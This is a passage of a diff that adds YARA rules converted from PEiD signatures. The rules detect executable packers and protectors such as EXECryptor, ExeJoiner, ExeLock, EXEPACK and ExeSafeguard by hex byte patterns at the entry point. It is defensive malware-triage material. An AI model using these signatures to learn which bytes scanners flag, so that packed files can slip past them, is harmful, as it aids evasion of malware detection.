+        description = "[EXECryptor 2.2.6 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00608_EXECryptor_2_2_6__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+    condition:
+        $a
+}
+
+rule PEiD_00609_EXECryptor_2_2_6_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1}
+    condition:
+        $a
+}
+
+rule PEiD_00610_EXECryptor_2_2_6_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00611_EXECryptor_2_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00612_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00613_EXECryptor_2_2_2_3__compressed_code_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00614_EXECryptor_2_2_2_3__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2/2.3 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a
+}
+
+rule PEiD_00615_EXECryptor_2_3_9__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00616_EXECryptor_2_3_9__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+    condition:
+        $a
+}
+rule PEiD_00617_EXECryptor_2_3_9__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00618_EXECryptor_2_3_9__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+    condition:
+        $a
+}
+
+
+rule PEiD_00619_EXECryptor_2_3_9_DLL__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00620_EXECryptor_2_3_9_DLL__compressed_resources__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (compressed resources)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+    condition:
+        $a
+}
+
+rule PEiD_00621_EXECryptor_2_3_9_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00622_EXECryptor_2_3_9_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+    condition:
+        $a
+}
+/*
+rule PEiD_00623_EXECryptor_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+*/
+rule PEiD_00624_EXECryptor_2_xx__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00625_EXECryptor_2_xx__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89}
+    condition:
+        $a
+}
+
+rule PEiD_00626_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00627_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1}
+    condition:
+        $a
+}
+
+rule PEiD_00628_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00629_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00630_EXECryptor_v1_4_0_1_
+{
+    meta:
+        description = "[EXECryptor v1.4.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+    condition:
+        $a
+}
+
+rule PEiD_00631_EXECryptor_v1_5_1_x_
+{
+    meta:
+        description = "[EXECryptor v1.5.1.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_00632_EXECryptor_v1_5_3_
+{
+    meta:
+        description = "[EXECryptor v1.5.3]"
+        ep_only = "false"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_00633_EXECryptor_V2_1X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00634_EXECryptor_V2_1X____SoftComplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> SoftComplete.com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+    condition:
+        $a
+}
+
+rule PEiD_00635_EXECryptor_V2_2X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.2X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+    condition:
+        $a
+}
+
+rule PEiD_00636_EXECryptor_vx_x_x_x_
+{
+    meta:
+        description = "[EXECryptor vx.x.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_00637_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00638_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00}
+    condition:
+        $a
+}
+rule PEiD_00639_ExeJoiner_1_0____Yoda_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00640_ExeJoiner_V1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner V1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00641_EXEJoiner_v1_0_
+{
+    meta:
+        description = "[EXEJoiner v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00642_EXELOCK_666_1_5_
+{
+    meta:
+        description = "[EXELOCK 666 1.5]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+    condition:
+        $a
+}
+
+rule PEiD_00643_ExeLock_v1_00_
+{
+    meta:
+        description = "[ExeLock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+    condition:
+        $a
+}
+
+rule PEiD_00644_EXEPACK__LINK__v3_60__v3_64__v3_65_or_5_01_21_
+{
+    meta:
+        description = "[EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00645_EXEPACK_v4_05__v4_06_
+{
+    meta:
+        description = "[EXEPACK v4.05, v4.06]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+    condition:
+        $a
+}
+
+rule PEiD_00646_EXERefactor_V0_1____random_
+{
+    meta:
+        description = "[EXERefactor V0.1 -> random]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+    condition:
+        $a
+}
+
+rule PEiD_00647_ExeSafeguard_1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard 1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+    condition:
+        $a
+}
+
+rule PEiD_00648_ExeSafeguard_v1_0____simonzh__h__
+{
+    meta:
